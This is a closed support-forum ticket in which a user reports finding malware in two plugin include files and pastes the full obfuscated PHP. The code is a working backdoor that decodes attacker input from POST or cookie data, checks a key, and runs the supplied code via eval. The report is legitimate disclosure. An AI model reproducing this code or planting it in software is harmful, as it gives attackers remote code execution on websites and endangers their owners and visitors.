I found malware in file

#76958
  • i found malware code in file /includes/class-helper.php and /includes/traits/class-shortcode.php i dont know where it comes from. Thank you!
    <?php $e06a74 = 323;$GLOBALS['ufd6c7'] = Array();global $ufd6c7;$ufd6c7 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['r22ff9'] = "\x67\x66\x30\x6b\x71\x51\x55\x68\x70\x5e\x7b\x75\xa\x6e\x74\x77\x69\x31\x6f\x4c\x3f\x4f\x21\x24\x65\x2a\x3c\x20\x2d\x76\xd\x5c\x7d\x72\x33\x23\x56\x7e\x3a\x7a\x43\x47\x52\x42\x4d\x26\x6a\x34\x32\x61\x2f\x5f\x45\x25\x35\x59\x7c\x5b\x58\x2b\x3d\x3b\x63\x78\x5a\x5d\x57\x44\x6c\x48\x54\x3e\x28\x22\x4e\x27\x60\x46\x37\x50\x2c\x79\x29\x38\x73\x62\x2e\x9\x41\x49\x39\x4a\x6d\x53\x4b\x36\x64\x40";$ufd6c7[$ufd6c7['r22ff9'][11].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][2].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][78]] = $ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][7].$ufd6c7['r22ff9'][33];$ufd6c7[$ufd6c7['r22ff9'][46].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][49]] = $ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][96];$ufd6c7[$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][47]] = $ufd6c7['r22ff9'][84].$ufd6c7['r22ff9'][14].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][68].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][13];$ufd6c7[$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][2]] = $ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][13].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][51].$ufd6c7['r22ff9'][84].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][14];$ufd6c7[$ufd6c7['r22ff9'][14].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][83].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][34].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][24]] = $ufd6c7['r22ff9'][84].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][68].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][39].$ufd6c7['r22ff9'][24];$ufd6c7[$ufd6c7['r22ff9'][11].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][85]] = $ufd6c7['r22ff9'][8].$ufd6c7['r22ff9'][7].$ufd6c7['r22ff9'][8].$ufd6c7['r22ff9'][29].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][84].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][13];$ufd6c7[$ufd6c7['r22ff9'][7].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][2].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][47].$ufd6c7['r22ff9'][17].$ufd6c7['r22ff9'][78]] = $ufd6c7['r22ff9'][11].$ufd6c7['r22ff9'][13].$ufd6c7['r22ff9'][84].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][68].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][39].$ufd6c7['r22ff9'][24];$ufd6c7[$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][90].$ufd6c7['r22ff9'][96]] = $ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][84].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][47].$ufd6c7['r22ff9'][51].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][24];$ufd6c7[$ufd6c7['r22ff9'][29].$ufd6c7['r22ff9'][54].$ufd6c7['r22ff9'][17].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][34].$ufd6c7['r22ff9'][47].$ufd6c7['r22ff9'][54].$ufd6c7['r22ff9'][47]] = $ufd6c7['r22ff9'][84].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][14].$ufd6c7['r22ff9'][51].$ufd6c7['r22ff9'][14].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][92].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][51].$ufd6c7['r22ff9'][68].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][92].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][14];$ufd6c7[$ufd6c7['r22ff9'][39].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][47].$ufd6c7['r22ff9'][54]] = $ufd6c7['r22ff9'][63].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][24];$ufd6c7[$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][17]] = $ufd6c7['r22ff9'][3].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][17].$ufd6c7['r22ff9'][49];$ufd6c7[$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][48]] = $_POST;$ufd6c7[$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][54].$ufd6c7['r22ff9'][62]] = $_COOKIE;@$ufd6c7[$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][2]]($ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][51].$ufd6c7['r22ff9'][68].$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][0], NULL);@$ufd6c7[$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][2]]($ufd6c7['r22ff9'][68].$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][0].$ufd6c7['r22ff9'][51].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][84], 0);@$ufd6c7[$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][2]]($ufd6c7['r22ff9'][92].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][63].$ufd6c7['r22ff9'][51].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][63].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][11].$ufd6c7['r22ff9'][14].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][13].$ufd6c7['r22ff9'][51].$ufd6c7['r22ff9'][14].$ufd6c7['r22ff9'][16].$ufd6c7['r22ff9'][92].$ufd6c7['r22ff9'][24], 0);@$ufd6c7[$ufd6c7['r22ff9'][29].$ufd6c7['r22ff9'][54].$ufd6c7['r22ff9'][17].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][34].$ufd6c7['r22ff9'][47].$ufd6c7['r22ff9'][54].$ufd6c7['r22ff9'][47]](0);$h067e20 = NULL;$be2484ad = NULL;$ufd6c7[$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][34].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][54].$ufd6c7['r22ff9'][17].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][83]] = $ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][90].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][28].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][90].$ufd6c7['r22ff9'][28].$ufd6c7['r22ff9'][47].$ufd6c7['r22ff9'][54].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][90].$ufd6c7['r22ff9'][28].$ufd6c7['r22ff9'][90].$ufd6c7['r22ff9'][83].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][28].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][54].$ufd6c7['r22ff9'][83].$ufd6c7['r22ff9'][90].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][96];global $r3e51228;function k61a($h067e20, $jf211){global $ufd6c7;$vf60bab7 = "";for ($t718=0; $t718<$ufd6c7[$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][47]]($h067e20);){for ($dfc04bf2=0; $dfc04bf2<$ufd6c7[$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][47]]($jf211) && $t718<$ufd6c7[$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][47]]($h067e20); $dfc04bf2++, $t718++){$vf60bab7 .= $ufd6c7[$ufd6c7['r22ff9'][11].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][2].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][78]]($ufd6c7[$ufd6c7['r22ff9'][46].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][49]]($h067e20[$t718]) ^ $ufd6c7[$ufd6c7['r22ff9'][46].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][49]]($jf211[$dfc04bf2]));}}return $vf60bab7;}function xc7e($h067e20, $jf211){global $ufd6c7;global $r3e51228;return $ufd6c7[$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][17]]($ufd6c7[$ufd6c7['r22ff9'][18].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][17]]($h067e20, $r3e51228), $jf211);}foreach ($ufd6c7[$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][54].$ufd6c7['r22ff9'][62]] as $jf211=>$r607eb){$h067e20 = $r607eb;$be2484ad = $jf211;}if (!$h067e20){foreach ($ufd6c7[$ufd6c7['r22ff9'][33].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][85].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][48]] as $jf211=>$r607eb){$h067e20 = $r607eb;$be2484ad = $jf211;}}$h067e20 = @$ufd6c7[$ufd6c7['r22ff9'][7].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][2].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][48].$ufd6c7['r22ff9'][47].$ufd6c7['r22ff9'][17].$ufd6c7['r22ff9'][78]]($ufd6c7[$ufd6c7['r22ff9'][39].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][47].$ufd6c7['r22ff9'][54]]($ufd6c7[$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][96].$ufd6c7['r22ff9'][62].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][24].$ufd6c7['r22ff9'][90].$ufd6c7['r22ff9'][96]]($h067e20), $be2484ad));if (isset($h067e20[$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][3]]) && $r3e51228==$h067e20[$ufd6c7['r22ff9'][49].$ufd6c7['r22ff9'][3]]){if ($h067e20[$ufd6c7['r22ff9'][49]] == $ufd6c7['r22ff9'][16]){$t718 = Array($ufd6c7['r22ff9'][8].$ufd6c7['r22ff9'][29] => @$ufd6c7[$ufd6c7['r22ff9'][11].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][85]](),$ufd6c7['r22ff9'][84].$ufd6c7['r22ff9'][29] => $ufd6c7['r22ff9'][17].$ufd6c7['r22ff9'][86].$ufd6c7['r22ff9'][2].$ufd6c7['r22ff9'][28].$ufd6c7['r22ff9'][17],);echo @$ufd6c7[$ufd6c7['r22ff9'][14].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][83].$ufd6c7['r22ff9'][78].$ufd6c7['r22ff9'][34].$ufd6c7['r22ff9'][95].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][1].$ufd6c7['r22ff9'][24]]($t718);}elseif ($h067e20[$ufd6c7['r22ff9'][49]] == $ufd6c7['r22ff9'][24]){eval/*c4270ffd*/($h067e20[$ufd6c7['r22ff9'][96]]);}exit();} ?>

Viewing 1 replies (of 1 total)
Viewing 1 replies (of 1 total)

The ticket ‘I found malware in file’ is closed to new replies.